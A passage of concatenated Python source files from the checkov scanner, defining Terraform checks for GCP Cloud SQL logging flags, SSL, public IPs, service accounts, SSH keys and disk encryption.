['database_version/[0]/POSTGRES', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value'] return CheckResult.PASSED self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings/[0]/database_flags'] return CheckResult.FAILED return CheckResult.UNKNOWN check = GoogleCloudPostgreSqlLogCheckpoints() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogConnection.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class GoogleCloudPostgreSqlLogConnection(BaseResourceCheck): def __init__(self): name = "Ensure PostgreSQL database 'log_connections' flag is set to 'on'" check_id = "CKV_GCP_52" supported_resources = ['google_sql_database_instance'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for google_sql_database_instance which allows log connections on PostgreSQL DBs:: :param conf: google_sql_database_instance configuration :return: < CheckResult > """ if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'POSTGRES' in conf['database_version'][0]: if 'settings' in conf.keys(): self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings'] flags = conf['settings'][0].get('database_flags') if flags: evaluated_keys_prefix = 'settings/[0]/database_flags' if isinstance(flags[0], list): # treating use cases of the following database_flags parsing (list of list of dictionaries with strings):'database_flags': [[{'name': '', 'value': ''}, {'name': '', 'value': ''}]] flags = flags[0] evaluated_keys_prefix += '/[0]' else: # treating use cases of the following database_flags parsing (list of dictionaries with arrays): 'database_flags': [{'name': [''], 'value': ['']},{'name': [''], 'value': ['']}] flags = [{key: flag[key][0] for key in flag if key in ['name', 'value']} for flag in flags] for flag in flags: if (isinstance(flag, dict) and flag['name'] == 'log_connections') and (flag['value'] == 'on'): # Must be explicitly set for check to pass self.evaluated_keys = ['database_version/[0]/POSTGRES', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value'] return CheckResult.PASSED self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings/[0]/database_flags'] return CheckResult.FAILED return CheckResult.UNKNOWN check = GoogleCloudPostgreSqlLogConnection() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogDisconnection.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class GoogleCloudPostgreSqlLogDisconnection(BaseResourceCheck): def __init__(self): name = "Ensure PostgreSQL database 'log_disconnections' flag is set to 'on'" check_id = "CKV_GCP_53" supported_resources = ['google_sql_database_instance'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for google_sql_database_instance which allows log disconnections on PostgreSQL DBs:: :param conf: google_sql_database_instance configuration :return: < CheckResult > """ if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'POSTGRES' in conf['database_version'][0]: if 'settings' in conf.keys(): self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings'] flags = conf['settings'][0].get('database_flags') if flags: evaluated_keys_prefix = 'settings/[0]/database_flags' if isinstance(flags[0], list): # treating use cases of the following database_flags parsing # (list of list of dictionaries with strings):'database_flags': # [[{'name': '', 'value': ''}, {'name': '', 'value': ''}]] flags = flags[0] evaluated_keys_prefix += '/[0]' else: # treating use cases of the following database_flags parsing # (list of dictionaries with arrays): 'database_flags': # [{'name': [''], 'value': ['']},{'name': [''], 'value': ['']}] flags = [{key: flag[key][0] for key in flag if key in ['name', 'value']} for flag in flags] for flag in flags: if (isinstance(flag, dict) and flag['name'] == 'log_disconnections') and (flag['value'] == 'on'): # Must be explicitly set for check to pass self.evaluated_keys = ['database_version/[0]/POSTGRES', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value'] return CheckResult.PASSED self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings/[0]/database_flags'] return CheckResult.FAILED return CheckResult.UNKNOWN check = GoogleCloudPostgreSqlLogDisconnection() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogHostname.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.gcp.AbsGooglePostgresqlDatabaseFlags import AbsGooglePostgresqlDatabaseFlags FLAG_NAME = 'log_hostname' FLAG_VALUES = ['on'] class GoogleCloudPostgreSqlLogHostname(AbsGooglePostgresqlDatabaseFlags): def __init__(self): name = "Ensure hostnames are logged for GCP PostgreSQL databases" check_id = "CKV_GCP_108" supported_resources = ['google_sql_database_instance'] categories = [CheckCategories.LOGGING] super().__init__( name=name, id=check_id, categories=categories, supported_resources=supported_resources, flag_name=FLAG_NAME, flag_values=FLAG_VALUES ) check = GoogleCloudPostgreSqlLogHostname() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogLockWaits.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class GoogleCloudPostgreSqlLogLockWaits(BaseResourceCheck): def __init__(self): name = "Ensure PostgreSQL database 'log_lock_waits' flag is set to 'on'" check_id = "CKV_GCP_54" supported_resources = ['google_sql_database_instance'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for google_sql_database_instance which allows log lock waits on PostgreSQL DBs:: :param conf: google_sql_database_instance configuration :return: < CheckResult > """ if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'POSTGRES' in conf['database_version'][0]: if 'settings' in conf.keys(): self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings'] flags = conf['settings'][0].get('database_flags') if flags: evaluated_keys_prefix = 'settings/[0]/database_flags' if isinstance(flags[0], list): # treating use cases of the following database_flags parsing # (list of list of dictionaries with strings):'database_flags': # [[{'name': '', 'value': ''}, {'name': '', 'value': ''}]] flags = flags[0] evaluated_keys_prefix += '/[0]' else: # treating use cases of the following database_flags parsing # (list of dictionaries with arrays): 'database_flags': # [{'name': [''], 'value': ['']},{'name': [''], 'value': ['']}] flags = [{key: flag[key][0] for key in flag} for flag in flags] for flag in flags: if (isinstance(flag, dict) and flag['name'] == 'log_lock_waits') and (flag['value'] == 'on'): # Must be explicitly set for check to pass self.evaluated_keys = ['database_version/[0]/POSTGRES', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value'] return CheckResult.PASSED self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings/[0]/database_flags'] return CheckResult.FAILED return CheckResult.UNKNOWN check = GoogleCloudPostgreSqlLogLockWaits() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogMinDuration.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class GoogleCloudPostgreSqlLogMinDuration(BaseResourceCheck): def __init__(self): name = "Ensure PostgreSQL database 'log_min_duration_statement' flag is set to '-1'" check_id = "CKV_GCP_57" supported_resources = ['google_sql_database_instance'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for google_sql_database_instance which allows log min duration statement is set to '-1' on PostgreSQL DBs:: :param conf: google_sql_database_instance configuration :return: < CheckResult > """ if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'POSTGRES' in conf['database_version'][0]: if 'settings' in conf.keys(): self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings'] flags = conf['settings'][0].get('database_flags') if flags: evaluated_keys_prefix = 'settings/[0]/database_flags' if isinstance(flags[0], list): # treating use cases of the following database_flags parsing # (list of list of dictionaries with strings):'database_flags': # [[{'name': '', 'value': ''}, {'name': '', 'value': ''}]] flags = flags[0] evaluated_keys_prefix += '/[0]' else: # treating use cases of the following database_flags parsing # (list of dictionaries with arrays): 'database_flags': # [{'name': [''], 'value': ['']},{'name': [''], 'value': ['']}] flags = [{key: flag[key][0] for key in flag} for flag in flags] for flag in flags: if (isinstance(flag, dict) and flag['name'] == 'log_min_duration_statement') and (flag['value'] != '-1'): self.evaluated_keys = ['database_version/[0]/POSTGRES', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value'] return CheckResult.FAILED self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings/[0]/database_flags'] return CheckResult.PASSED return CheckResult.UNKNOWN check = GoogleCloudPostgreSqlLogMinDuration() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogMinErrorStatement.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.gcp.AbsGooglePostgresqlDatabaseFlags import AbsGooglePostgresqlDatabaseFlags FLAG_NAME = 'log_min_error_statement' FLAG_VALUES = [ "debug5", "debug4", "debug3", "debug2", "debug1", "info", "notice", "warning", "error" ] class GoogleCloudPostgreSqlLogMinErrorStatement(AbsGooglePostgresqlDatabaseFlags): def __init__(self): name = "Ensure the GCP PostgreSQL database log levels are set to ERROR or lower" check_id = "CKV_GCP_109" supported_resources = ['google_sql_database_instance'] categories = [CheckCategories.LOGGING] super().__init__( name=name, id=check_id, categories=categories, supported_resources=supported_resources, flag_name=FLAG_NAME, flag_values=FLAG_VALUES ) check = GoogleCloudPostgreSqlLogMinErrorStatement() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogMinMessage.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class GoogleCloudPostgreSqlLogMinMessage(BaseResourceCheck): def __init__(self): name = "Ensure PostgreSQL database 'log_min_messages' flag is set to a valid value" check_id = "CKV_GCP_55" supported_resources = ['google_sql_database_instance'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for google_sql_database_instance which has valid value in log_min_messages flag on PostgreSQL DBs:: :param conf: google_sql_database_instance configuration :return: < CheckResult > """ if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'POSTGRES' in conf['database_version'][0]: if 'settings' in conf.keys(): self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings'] flags = conf['settings'][0].get('database_flags') if flags: evaluated_keys_prefix = 'settings/[0]/database_flags' if isinstance(flags[0], list): # treating use cases of the following database_flags parsing # (list of list of dictionaries with strings):'database_flags': # [[{'name': '', 'value': ''}, {'name': '', 'value': ''}]] flags = flags[0] evaluated_keys_prefix += '/[0]' else: # treating use cases of the following database_flags parsing # (list of dictionaries with arrays): 'database_flags': # [{'name': [''], 'value': ['']},{'name': [''], 'value': ['']}] flags = [{key: flag[key][0] for key in flag if key in ['name', 'value']} for flag in flags] logmin_list = ['fatal', 'panic', 'log', 'error', 'warning', 'notice', 'info', 'debug1', 'debug2', 'debug3', 'debug4', 'debug5'] for flag in flags: if isinstance(flag, dict) and flag['name'] == 'log_min_messages' and flag['value'] not in logmin_list: self.evaluated_keys = ['database_version/[0]/POSTGRES', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value'] return CheckResult.FAILED self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings/[0]/database_flags'] return CheckResult.PASSED return CheckResult.UNKNOWN check = GoogleCloudPostgreSqlLogMinMessage() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogStatement.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.gcp.AbsGooglePostgresqlDatabaseFlags import AbsGooglePostgresqlDatabaseFlags FLAG_NAME = 'log_statement' FLAG_VALUES = [ 'ddl', 'mod', 'all' ] class GoogleCloudPostgreSqlLogStatement(AbsGooglePostgresqlDatabaseFlags): def __init__(self): name = "Ensure GCP PostgreSQL logs SQL statements" check_id = "CKV_GCP_111" supported_resources = ['google_sql_database_instance'] categories = [CheckCategories.LOGGING] super().__init__( name=name, id=check_id, categories=categories, supported_resources=supported_resources, flag_name=FLAG_NAME, flag_values=FLAG_VALUES ) check = GoogleCloudPostgreSqlLogStatement() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogTemp.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class GoogleCloudPostgreSqlLogTemp(BaseResourceCheck): def __init__(self): name = "Ensure PostgreSQL database 'log_temp_files flag is set to '0'" check_id = "CKV_GCP_56" supported_resources = ['google_sql_database_instance'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for google_sql_database_instance which allows slog temp files set to '0' on PostgreSQL DBs:: :param conf: google_sql_database_instance configuration :return: < CheckResult > """ if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'POSTGRES' in conf['database_version'][0]: if 'settings' in conf.keys(): self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings'] flags = conf['settings'][0].get('database_flags') if flags: evaluated_keys_prefix = 'settings/[0]/database_flags' if isinstance(flags[0], list): # treating use cases of the following database_flags parsing # (list of list of dictionaries with strings):'database_flags': # [[{'name': '', 'value': ''}, {'name': '', 'value': ''}]] flags = flags[0] evaluated_keys_prefix += '/[0]' else: # treating use cases of the following database_flags parsing # (list of dictionaries with arrays): 'database_flags': # [{'name': [''], 'value': ['']},{'name': [''], 'value': ['']}] flags = [{key: flag[key][0] for key in flag if key in ['name', 'value']} for flag in flags] for flag in flags: if (isinstance(flag, dict) and flag['name'] == 'log_temp_files') and (flag['value'] != '0'): self.evaluated_keys = ['database_version/[0]/POSTGRES', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value'] return CheckResult.FAILED self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings/[0]/database_flags'] return CheckResult.PASSED return CheckResult.UNKNOWN check = GoogleCloudPostgreSqlLogTemp() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudSqlBackupConfiguration.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class GoogleCloudSqlBackupConfiguration(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure all Cloud SQL database instance have backup configuration enabled" id = "CKV_GCP_14" supported_resources = ("google_sql_database_instance",) categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if "master_instance_name" in conf: return CheckResult.UNKNOWN return super().scan_resource_conf(conf) def get_inspected_key(self) -> str: return "settings/[0]/backup_configuration/[0]/enabled" check = GoogleCloudSqlBackupConfiguration() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudSqlDatabasePubliclyAccessible.py ================================================ from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class GoogleCloudSqlDatabasePubliclyAccessible(BaseResourceCheck): def __init__(self): name = "Ensure that Cloud SQL database Instances are not open to the world" id = "CKV_GCP_11" supported_resources = ['google_sql_database_instance'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for google_sql_database_instance which is open to the world: :param conf: google_sql_database_instance configuration :return: """ if 'settings' in conf and 'ip_configuration' in conf['settings'][0]: ip_config = conf['settings'][0]['ip_configuration'][0] self.evaluated_keys = ['settings/[0]/ip_configuration'] if 'authorized_networks' in ip_config: auth_networks = ip_config['authorized_networks'] if not isinstance(auth_networks, list): # handle possible legacy case auth_networks = [auth_networks] for network in auth_networks: if 'value' in network: val = network['value'] if isinstance(val, list): # handle possible parsing discrepancies val = val[0] if val.endswith('/0'): self.evaluated_keys = ['settings/[0]/ip_configuration/authorized_networks/[0]/value', 'settings/[0]/ip_configuration/authorized_networks/[0]/' f'[{auth_networks.index(network)}]/value'] return CheckResult.FAILED if 'dynamic' in ip_config: dynamic = ip_config['dynamic'] for dynamic_block in dynamic: if 'authorized_networks' in dynamic_block and 'content' in dynamic_block['authorized_networks']: content = dynamic_block['authorized_networks']['content'][0] if 'value' in content and content['value'][0].endswith('/0'): self.evaluated_keys = ['settings/[0]/ip_configuration/dynamic/' f'[{dynamic.index(dynamic_block)}]/' 'authorized_networks/content/[0]/value'] return CheckResult.FAILED return CheckResult.PASSED check = GoogleCloudSqlDatabasePubliclyAccessible() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudSqlDatabaseRequireSsl.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck DEFAULT_ALLOWED_SSL_MODES = ["TRUSTED_CLIENT_CERTIFICATE_REQUIRED"] SQLSERVER_ALLOWED_SSL_MODES = ["ENCRYPTED_ONLY"] class GoogleCloudSqlDatabaseRequireSsl(BaseResourceCheck): def __init__(self): name = "Ensure all Cloud SQL database instance requires all incoming connections to use SSL" id = "CKV_GCP_6" supported_resources = ['google_sql_database_instance'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for google_sql_database_instance which do not enforce SSL connections: :param conf: google_sql_database_instance configuration :return: < CheckResult > """ if 'settings' in conf.keys() and 'ip_configuration' in conf['settings'][0]: ipconfiguration = conf['settings'][0]['ip_configuration'][0] if 'ssl_mode' in ipconfiguration: ssl_mode = ipconfiguration['ssl_mode'] ssl_mode = ssl_mode[0] if isinstance(ssl_mode, list) else ssl_mode # SQL Server does not support DEFAULT_ALLOWED_SSL_MODES (https://docs.cloud.google.com/sql/docs/postgres/admin-api/rest/v1/instances#ipconfiguration) if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'SQLSERVER' in conf['database_version'][0]: if ssl_mode in SQLSERVER_ALLOWED_SSL_MODES: return CheckResult.PASSED if ssl_mode in DEFAULT_ALLOWED_SSL_MODES: return CheckResult.PASSED elif 'require_ssl' in ipconfiguration: require_ssl = ipconfiguration['require_ssl'] require_ssl = require_ssl[0] if isinstance(require_ssl, list) else require_ssl if require_ssl: return CheckResult.PASSED return CheckResult.FAILED def get_inspected_keys(self): return ['settings/[0]/ip_configuration/[0]/ssl_mode/[0]', 'settings/[0]/ip_configuration/[0]/require_ssl/[0]'] check = GoogleCloudSqlDatabaseRequireSsl() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudSqlServerContainedDBAuthentication.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class GoogleCloudSqlServerContainedDBAuthentication(BaseResourceCheck): def __init__(self): name = "Ensure SQL database 'contained database authentication' flag is set to 'off'" check_id = "CKV_GCP_59" supported_resources = ['google_sql_database_instance'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for google_sql_database_instance which prevents containers DB authentication on SQL DBs:: :param conf: google_sql_database_instance configuration :return: < CheckResult > """ if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'SQLSERVER' in conf['database_version'][0]: if 'settings' in conf.keys(): self.evaluated_keys = ['database_version/[0]/SQLSERVER', 'settings'] flags = conf['settings'][0].get('database_flags') if flags: evaluated_keys_prefix = 'settings/[0]/database_flags' if isinstance(flags[0], list): # treating use cases of the following database_flags parsing # (list of list of dictionaries with strings):'database_flags': # [[{'name': '', 'value': ''}, {'name': '', 'value': ''}]] flags = flags[0] evaluated_keys_prefix += '/[0]' else: # treating use cases of the following database_flags parsing # (list of dictionaries with arrays): 'database_flags': # [{'name': [''], 'value': ['']},{'name': [''], 'value': ['']}] flags = [{key: flag[key][0] for key in flag} for flag in flags] for flag in flags: if (isinstance(flag, dict) and flag['name'] == 'contained database authentication') and (flag['value'] == 'on'): self.evaluated_keys = ['database_version/[0]/SQLSERVER', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value'] return CheckResult.FAILED self.evaluated_keys = ['database_version/[0]/SQLSERVER', 'settings/[0]/database_flags'] return CheckResult.PASSED return CheckResult.UNKNOWN check = GoogleCloudSqlServerContainedDBAuthentication() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudSqlServerCrossDBOwnershipChaining.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class GoogleCloudSqlServerCrossDBOwnershipChaining(BaseResourceCheck): def __init__(self): name = "Ensure SQL database 'cross db ownership chaining' flag is set to 'off'" check_id = "CKV_GCP_58" supported_resources = ['google_sql_database_instance'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for google_sql_database_instance which prevents cross ownerships on SQL DBs:: :param conf: google_sql_database_instance configuration :return: < CheckResult > """ if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'SQLSERVER' in conf['database_version'][0]: if 'settings' in conf.keys(): self.evaluated_keys = ['database_version/[0]/SQLSERVER', 'settings'] flags = conf['settings'][0].get('database_flags') if flags: evaluated_keys_prefix = 'settings/[0]/database_flags' if isinstance(flags[0], list): # treating use cases of the following database_flags parsing # (list of list of dictionaries with strings): # 'database_flags': [[{'name': '', 'value': ''}, # {'name': '', 'value': ''}]] flags = flags[0] evaluated_keys_prefix += '/[0]' else: # treating use cases of the following database_flags parsing (list of dictionaries with arrays): # 'database_flags': [{'name': [''], 'value': ['']}, # {'name': [''], 'value': ['']}] flags = [{key: flag[key][0] for key in flag} for flag in flags] for flag in flags: if (isinstance(flag, dict) and flag['name'] == 'cross db ownership chaining') and (flag['value'] == 'on'): self.evaluated_keys = ['database_version/[0]/SQLSERVER', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value'] return CheckResult.FAILED self.evaluated_keys = ['database_version/[0]/SQLSERVER', 'settings/[0]/database_flags'] return CheckResult.PASSED return CheckResult.UNKNOWN check = GoogleCloudSqlServerCrossDBOwnershipChaining() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudSqlServerNoPublicIP.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class GoogleCloudSqlServerNoPublicIP(BaseResourceCheck): def __init__(self): name = "Ensure Cloud SQL database does not have public IP" check_id = "CKV_GCP_60" supported_resources = ['google_sql_database_instance'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for google_sql_database_instance which have no public IPs on SQL DBs:: :param conf: google_sql_database_instance configuration :return: < CheckResult > """ if 'settings' in conf.keys() and 'ip_configuration' in conf['settings'][0] and \ 'ipv4_enabled' in conf['settings'][0]['ip_configuration'][0]: ipconfiguration = conf['settings'][0]['ip_configuration'][0] ipv4_enabled = ipconfiguration['ipv4_enabled'] ipv4_enabled = ipv4_enabled[0] if isinstance(ipv4_enabled, list) else ipv4_enabled if ipv4_enabled: self.evaluated_keys = ['database_version/[0]/SQLSERVER', 'settings/[0]/ip_configuration/[0]/ipv4_enabled'] return CheckResult.FAILED return CheckResult.PASSED check = GoogleCloudSqlServerNoPublicIP() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleComputeBlockProjectSSH.py ================================================ from typing import List, Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class GoogleComputeBlockProjectSSH(BaseResourceValueCheck): def __init__(self): name = "Ensure 'Block Project-wide SSH keys' is enabled for VM instances" id = "CKV_GCP_32" supported_resources = ['google_compute_instance', 'google_compute_instance_template', 'google_compute_instance_from_template'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if ('source_instance_template' in conf.keys() and 'metadata' not in conf.keys()) or \ ('source_instance_template' in conf.keys() and isinstance(conf['metadata'][0], dict) and 'block-project-ssh-keys' not in conf['metadata'][0].keys()): # if the source_instance_template value is there (indicating a google_compute_instance_from_template), # and block-project-ssh-keys is not present, then this check cannot PASS, since we don't know what the # underlying source template looks like. return CheckResult.UNKNOWN else: # in all other cases, pass/fail the check if block-project-ssh-keys is true/false or not present. return super().scan_resource_conf(conf) def get_inspected_key(self): return 'metadata/block-project-ssh-keys' def get_expected_values(self) -> List[Any]: # GCP enables feature with any of the following values return [True, "true", "True", "TRUE"] check = GoogleComputeBlockProjectSSH() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleComputeBootDiskEncryption.py ================================================ from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class GoogleComputeBootDiskEncryption(BaseResourceCheck): def __init__(self): name = "Ensure VM disks for critical VMs are encrypted with Customer Supplied Encryption Keys (CSEK)" id = "CKV_GCP_38" supported_resources = ['google_compute_instance'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): self.evaluated_keys = ['boot_disk', 'boot_disk/[0]/disk_encryption_key_raw', 'boot_disk/[0]/kms_key_self_link'] if 'boot_disk' in conf.keys() and (('disk_encryption_key_raw' in conf['boot_disk'][0] and conf['boot_disk'][0]['disk_encryption_key_raw'][0] is not None) or ('kms_key_self_link' in conf['boot_disk'][0] and conf['boot_disk'][0]['kms_key_self_link'][0] is not None)): return CheckResult.PASSED return CheckResult.FAILED check = GoogleComputeBootDiskEncryption() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccount.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck import re DEFAULT_SERVICE_ACCOUNT = re.compile(r'\d+-compute@developer\.gserviceaccount\.com') class GoogleComputeDefaultServiceAccount(BaseResourceCheck): def __init__(self): name = "Ensure that instances are not configured to use the default service account" id = "CKV_GCP_30" supported_resources = ['google_compute_instance', 'google_compute_instance_from_template', 'google_compute_instance_template'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for service account configuration at google_compute_instance: https://www.terraform.io/docs/providers/google/r/compute_instance.html :param conf: google_compute_instance configuration :return: """ if 'service_account' in conf.keys() and 'email' in conf['service_account'][0] and \ not re.match(DEFAULT_SERVICE_ACCOUNT, conf['service_account'][0]['email'][0]): self.evaluated_keys = ['service_account/[0]/email'] return CheckResult.PASSED if 'name' in conf and conf['name'][0].startswith('gke-'): self.evaluated_keys = ['name'] return CheckResult.PASSED self.evaluated_keys = ['service_account/[0]/email', 'name'] if 'service_account' not in conf: return CheckResult.UNKNOWN return CheckResult.FAILED check = GoogleComputeDefaultServiceAccount() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccountFullAccess.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck import re DEFAULT_SERVICE_ACCOUNT = re.compile(r'\d+-compute@developer\.gserviceaccount\.com') FULL_ACCESS_API = 'https://www.googleapis.com/auth/cloud-platform' FULL_ACCESS_API2 = 'cloud-platform' class GoogleComputeDefaultServiceAccountFullAccess(BaseResourceCheck): def __init__(self): name = "Ensure that instances are not configured to use the default service account with full access" \ " to all Cloud APIs" id = "CKV_GCP_31" supported_resources = ['google_compute_instance', 'google_compute_instance_from_template', 'google_compute_instance_template'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for service account configuration at google_compute_instance: https://www.terraform.io/docs/providers/google/r/compute_instance.html :param conf: google_compute_instance configuration :return: """ if 'name' in conf: if not isinstance(conf['name'][0], str): return CheckResult.UNKNOWN if conf['name'][0].startswith('gke-'): self.evaluated_keys = ['name'] return CheckResult.PASSED if 'source_instance_template' in conf.keys() and 'service_account' not in conf.keys(): # if the source_instance_template value is there (indicating a google_compute_instance_from_template), # and service_account is not present, then this check cannot PASS, since we don't know what the # underlying source template looks like. return CheckResult.UNKNOWN if 'service_account' in conf.keys(): service_account_conf = conf['service_account'][0] self.evaluated_keys = ['service_account'] if isinstance(service_account_conf, dict): self.evaluated_keys = ['service_account/[0]/scopes'] if 'email' in service_account_conf: self.evaluated_keys.append('service_account/[0]/email') if re.match(DEFAULT_SERVICE_ACCOUNT, service_account_conf['email'][0]): if len(service_account_conf['scopes']) > 0 and (FULL_ACCESS_API in service_account_conf['scopes'][0] or FULL_ACCESS_API2 in service_account_conf['scopes'][0]): return CheckResult.FAILED elif len(service_account_conf['scopes']) > 0 and (FULL_ACCESS_API in service_account_conf['scopes'][0] or FULL_ACCESS_API2 in service_account_conf['scopes'][0]): return CheckResult.FAILED return CheckResult.PASSED check = GoogleComputeDefaultServiceAccountFullAccess() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleComputeDiskEncryption.py ================================================ 